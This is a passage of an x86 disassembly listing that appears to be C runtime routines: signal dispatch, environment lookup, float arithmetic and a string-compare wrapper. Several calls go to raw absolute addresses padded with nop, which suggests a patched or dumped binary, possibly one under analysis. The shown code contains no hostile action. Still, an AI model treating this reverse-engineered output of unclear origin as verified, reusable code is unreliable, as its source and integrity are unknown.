		cmp	eax, ecx
		jnb	short loc_425916


loc_42593D:				; CODE XREF: sub_4256C2+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DBC2C
		mov	eax, offset dword_4DBC2C
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DBC28
		mov	eax, offset dword_4DBC28
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DBC30
		mov	eax, offset dword_4DBC30
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------


loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DBC24
		mov	eax, offset dword_4DBC24


loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------


loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2


loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16


loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DBA00
		and	dword_4DBA00, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43CFFC
		mov	dword_43CFFC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------


loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]


loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43CFF0
		mov	ecx, dword_43CFF4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43CF80h[edx*4]


loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------


loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A


loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43CFFC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------


loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B


loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DBA00, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43CFFC, eax


loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx


loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43CFF8
		cmp	dword_43CF7C, edx
		push	esi
		mov	eax, offset dword_43CF78
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CF78h[esi*4]


loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4


loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CF78h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6


loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DCFD0, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB950
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB958, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB950
		test	esi, esi
		jz	short loc_425B3E


loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax


loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36


loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------


loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------


loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax


loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DCD80
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DCC80[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------


loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h


loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB928, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB928, 9


loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------


loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------


loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax


loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A


loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------


loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96


loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11


loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC


loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A


loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]


loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1


loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96


loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------


loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]


loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------


loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D478
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D5D8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi


loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi


loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DCD84
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DCFA4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB958
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C


loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE


loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax


loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DBC38, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 2780000h
		nop
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DBC38, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------


loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CB4DC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 27806D8h
		nop
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DBC38, 2


loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DBC38
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 27806D8h
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB9F4
		mov	[ebp+arg_18], eax


loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081


loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6


loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2


loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002


loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------


loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2A70000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047


loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE


loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D


loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------


loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB


loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE


loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------


loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 29D0000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 29D0000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2780000h
		nop
		jmp	short loc_42616E
; ---------------------------------------------------------------------------


loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax


loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D


loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190


loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
